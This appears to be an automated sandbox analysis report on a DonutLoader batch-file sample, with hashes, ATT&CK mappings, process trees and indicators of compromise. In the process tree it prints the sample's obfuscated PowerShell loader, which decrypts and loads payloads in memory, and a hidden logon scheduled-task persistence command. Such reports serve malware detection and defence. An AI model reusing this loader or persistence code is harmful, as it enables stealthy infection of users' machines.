donutloader | d5a546280b3f8de7efde3969f4efe52c17cf9db0cdfe2b4b6044f5845a31132e

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/04/2026, 15:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Protector.bat
Size 589KB
Sample260422-s7p14sav4m
SHA256 d5a546280b3f8de7efde3969f4efe52c17cf9db0cdfe2b4b6044f5845a31132e
MD5 b6eb7dbb0cf42a4c12cde320b7656a43
SHA1 3529b77c7cca6a45326b6bbb2602fc4357da3a5e
SHA512 f07732a9af561fd85bbe393541be6167d916615b17dd1bd43a2574f7e1db5a6257e5f7d145744c39274b65a606d3c9d7dad2eeec037ea36922f77dc28aeadb79
SSDEEP 12288:KXiF1b6ihbXvISQnA4QX0bvlhB7M/FU7v0WegMZeIrvXkd+FvAftzc:KXouCXwA7KNhB4/u7pegykdhfto
TLSH
T18FD4016ED70C7F4369A283F6F5BA61990DFA17C1A61952465F003B908017CB3DF781AB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution donutloader loader

Malware Config

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral1/memory/3300-44-0x0000000002530000-0x000000000255A000-memory.dmp	family_donutloader

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1112	powershell.exe
3956	powershell.exe
4340	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\International\Geo\Nation	WScript.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
1112	powershell.exe
1112	powershell.exe
3956	powershell.exe
3956	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3300	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1112	powershell.exe
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeIncreaseQuotaPrivilege	3956	powershell.exe
Token: SeSecurityPrivilege	3956	powershell.exe
Token: SeTakeOwnershipPrivilege	3956	powershell.exe
Token: SeLoadDriverPrivilege	3956	powershell.exe
Token: SeSystemProfilePrivilege	3956	powershell.exe
Token: SeSystemtimePrivilege	3956	powershell.exe
Token: SeProfSingleProcessPrivilege	3956	powershell.exe
Token: SeIncBasePriorityPrivilege	3956	powershell.exe
Token: SeCreatePagefilePrivilege	3956	powershell.exe
Token: SeBackupPrivilege	3956	powershell.exe
Token: SeRestorePrivilege	3956	powershell.exe
Token: SeShutdownPrivilege	3956	powershell.exe
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeSystemEnvironmentPrivilege	3956	powershell.exe
Token: SeRemoteShutdownPrivilege	3956	powershell.exe
Token: SeUndockPrivilege	3956	powershell.exe
Token: SeManageVolumePrivilege	3956	powershell.exe
Token: 33	3956	powershell.exe
Token: 34	3956	powershell.exe
Token: 35	3956	powershell.exe
Token: 36	3956	powershell.exe
Token: SeIncreaseQuotaPrivilege	3956	powershell.exe
Token: SeSecurityPrivilege	3956	powershell.exe
Token: SeTakeOwnershipPrivilege	3956	powershell.exe
Token: SeLoadDriverPrivilege	3956	powershell.exe
Token: SeSystemProfilePrivilege	3956	powershell.exe
Token: SeSystemtimePrivilege	3956	powershell.exe
Token: SeProfSingleProcessPrivilege	3956	powershell.exe
Token: SeIncBasePriorityPrivilege	3956	powershell.exe
Token: SeCreatePagefilePrivilege	3956	powershell.exe
Token: SeBackupPrivilege	3956	powershell.exe
Token: SeRestorePrivilege	3956	powershell.exe
Token: SeShutdownPrivilege	3956	powershell.exe
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeSystemEnvironmentPrivilege	3956	powershell.exe
Token: SeRemoteShutdownPrivilege	3956	powershell.exe
Token: SeUndockPrivilege	3956	powershell.exe
Token: SeManageVolumePrivilege	3956	powershell.exe
Token: 33	3956	powershell.exe
Token: 34	3956	powershell.exe
Token: 35	3956	powershell.exe
Token: 36	3956	powershell.exe
Token: SeIncreaseQuotaPrivilege	3956	powershell.exe
Token: SeSecurityPrivilege	3956	powershell.exe
Token: SeTakeOwnershipPrivilege	3956	powershell.exe
Token: SeLoadDriverPrivilege	3956	powershell.exe
Token: SeSystemProfilePrivilege	3956	powershell.exe
Token: SeSystemtimePrivilege	3956	powershell.exe
Token: SeProfSingleProcessPrivilege	3956	powershell.exe
Token: SeIncBasePriorityPrivilege	3956	powershell.exe
Token: SeCreatePagefilePrivilege	3956	powershell.exe
Token: SeBackupPrivilege	3956	powershell.exe
Token: SeRestorePrivilege	3956	powershell.exe
Token: SeShutdownPrivilege	3956	powershell.exe
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeSystemEnvironmentPrivilege	3956	powershell.exe
Token: SeRemoteShutdownPrivilege	3956	powershell.exe
Token: SeUndockPrivilege	3956	powershell.exe
Token: SeManageVolumePrivilege	3956	powershell.exe
Token: 33	3956	powershell.exe
Token: 34	3956	powershell.exe
Token: 35	3956	powershell.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 1648 wrote to memory of 4348	1648	cmd.exe	86
PID 1648 wrote to memory of 1112	1648	cmd.exe	87
PID 1112 wrote to memory of 3956	1112	powershell.exe	88
PID 1112 wrote to memory of 1848	1112	powershell.exe	91
PID 1848 wrote to memory of 1428	1848	WScript.exe	92
PID 1428 wrote to memory of 4200	1428	cmd.exe	94
PID 1428 wrote to memory of 4340	1428	cmd.exe	95
PID 4340 wrote to memory of 3300	4340	powershell.exe	56
PID 4340 wrote to memory of 3348	4340	powershell.exe	78
PID 4340 wrote to memory of 1568	4340	powershell.exe	26
PID 4340 wrote to memory of 1988	4340	powershell.exe	34
PID 4340 wrote to memory of 776	4340	powershell.exe	15
PID 4340 wrote to memory of 1956	4340	powershell.exe	38
PID 4340 wrote to memory of 2400	4340	powershell.exe	43
PID 4340 wrote to memory of 1756	4340	powershell.exe	30
PID 4340 wrote to memory of 4316	4340	powershell.exe	77
PID 4340 wrote to memory of 1360	4340	powershell.exe	24
PID 4340 wrote to memory of 960	4340	powershell.exe	72
PID 4340 wrote to memory of 2544	4340	powershell.exe	44
PID 4340 wrote to memory of 1740	4340	powershell.exe	29
PID 4340 wrote to memory of 1560	4340	powershell.exe	25
PID 4340 wrote to memory of 1928	4340	powershell.exe	33
PID 4340 wrote to memory of 1332	4340	powershell.exe	23
PID 4340 wrote to memory of 2784	4340	powershell.exe	49
PID 4340 wrote to memory of 1128	4340	powershell.exe	18
PID 4340 wrote to memory of 1124	4340	powershell.exe	52
PID 4340 wrote to memory of 2300	4340	powershell.exe	70
PID 4340 wrote to memory of 1104	4340	powershell.exe	17
PID 4340 wrote to memory of 1204	4340	powershell.exe	21
PID 4340 wrote to memory of 1596	4340	powershell.exe	27
PID 4340 wrote to memory of 1056	4340	powershell.exe	16
PID 4340 wrote to memory of 1876	4340	powershell.exe	32
PID 4340 wrote to memory of 1284	4340	powershell.exe	22
PID 4340 wrote to memory of 952	4340	powershell.exe	12
PID 4340 wrote to memory of 3820	4340	powershell.exe	67
PID 4340 wrote to memory of 2716	4340	powershell.exe	46
PID 4340 wrote to memory of 2232	4340	powershell.exe	41
PID 4340 wrote to memory of 3412	4340	powershell.exe	57
PID 4340 wrote to memory of 4192	4340	powershell.exe	79
PID 4340 wrote to memory of 3204	4340	powershell.exe	55
PID 4340 wrote to memory of 2612	4340	powershell.exe	68
PID 4340 wrote to memory of 2216	4340	powershell.exe	54
PID 4340 wrote to memory of 2016	4340	powershell.exe	36
PID 4340 wrote to memory of 1816	4340	powershell.exe	31
PID 4340 wrote to memory of 2204	4340	powershell.exe	40
PID 4340 wrote to memory of 1020	4340	powershell.exe	13
PID 4340 wrote to memory of 1608	4340	powershell.exe	28
PID 4340 wrote to memory of 1136	4340	powershell.exe	19
PID 4340 wrote to memory of 1996	4340	powershell.exe	35
PID 4340 wrote to memory of 416	4340	powershell.exe	37
PID 4340 wrote to memory of 2384	4340	powershell.exe	42
PID 4340 wrote to memory of 2776	4340	powershell.exe	48
PID 4340 wrote to memory of 2552	4340	powershell.exe	45
PID 4340 wrote to memory of 804	4340	powershell.exe	8
PID 4340 wrote to memory of 2768	4340	powershell.exe	47
PID 4340 wrote to memory of 1184	4340	powershell.exe	20
PID 804 wrote to memory of 840	804	svchost.exe	102
PID 804 wrote to memory of 2376	804	svchost.exe	104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Suspicious use of WriteProcessMemory
PID:804
- C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
  C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
  2⤵
  PID:840
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:2376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1104

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1332

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1360

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1996

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2204

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2232

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3204

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Protector.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('t6/GV3VJlVybFxYfGHZDSHSK8ncZtrQXTU4I568Ir/c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hwoBO3DyGg3jft4HF5EPBw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LdFRX=New-Object System.IO.MemoryStream(,$param_var); $rqgHH=New-Object System.IO.MemoryStream; $qXyzH=New-Object System.IO.Compression.GZipStream($LdFRX, [IO.Compression.CompressionMode]::Decompress); $qXyzH.CopyTo($rqgHH); $qXyzH.Dispose(); $LdFRX.Dispose(); $rqgHH.Dispose(); $rqgHH.ToArray();}function execute_function($param_var,$param2_var){ $pfEVc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GVdhE=$pfEVc.EntryPoint; $GVdhE.Invoke($null, $param2_var);}$nnrhL = 'C:\Users\Admin\AppData\Local\Temp\Protector.bat';$host.UI.RawUI.WindowTitle = $nnrhL;$ZNfzZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nnrhL).Split([Environment]::NewLine);foreach ($pDXAR in $ZNfzZ) { if ($pDXAR.StartsWith('EkihUJqXSRCzxLmXbHsV')) { $TDVsK=$pDXAR.Substring(20); break; }}$payloads_var=[string[]]$TDVsK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:4348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_591_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_591.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3956
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_591.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1848
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_591.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1428
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('t6/GV3VJlVybFxYfGHZDSHSK8ncZtrQXTU4I568Ir/c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hwoBO3DyGg3jft4HF5EPBw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LdFRX=New-Object System.IO.MemoryStream(,$param_var); $rqgHH=New-Object System.IO.MemoryStream; $qXyzH=New-Object System.IO.Compression.GZipStream($LdFRX, [IO.Compression.CompressionMode]::Decompress); $qXyzH.CopyTo($rqgHH); $qXyzH.Dispose(); $LdFRX.Dispose(); $rqgHH.Dispose(); $rqgHH.ToArray();}function execute_function($param_var,$param2_var){ $pfEVc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GVdhE=$pfEVc.EntryPoint; $GVdhE.Invoke($null, $param2_var);}$nnrhL = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_591.bat';$host.UI.RawUI.WindowTitle = $nnrhL;$ZNfzZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nnrhL).Split([Environment]::NewLine);foreach ($pDXAR in $ZNfzZ) { if ($pDXAR.StartsWith('EkihUJqXSRCzxLmXbHsV')) { $TDVsK=$pDXAR.Substring(20); break; }}$payloads_var=[string[]]$TDVsK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:4200
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3412

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:3820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2300

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:3348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:4192

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
TLSH
T1DC51FE323375F0D4C8567F07293819D463BF4386EA94AF58B258621ED93641B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 2KB
SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
MD5 005bc2ef5a9d890fb2297be6a36f01c2
SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
TLSH
T177513123F3C845E3D94D5636C09C981620E691875066BECEEF8F86E0A32F1B5BB70160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_kcizdqd1.h5u.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kcizdqd1.h5u.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

$phantom-startup_str_591.bat

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_591.bat
Size 589KB
SHA256 d5a546280b3f8de7efde3969f4efe52c17cf9db0cdfe2b4b6044f5845a31132e
MD5 b6eb7dbb0cf42a4c12cde320b7656a43
SHA1 3529b77c7cca6a45326b6bbb2602fc4357da3a5e
SHA512 f07732a9af561fd85bbe393541be6167d916615b17dd1bd43a2574f7e1db5a6257e5f7d145744c39274b65a606d3c9d7dad2eeec037ea36922f77dc28aeadb79
SSDEEP 12288:KXiF1b6ihbXvISQnA4QX0bvlhB7M/FU7v0WegMZeIrvXkd+FvAftzc:KXouCXwA7KNhB4/u7pegykdhfto
TLSH
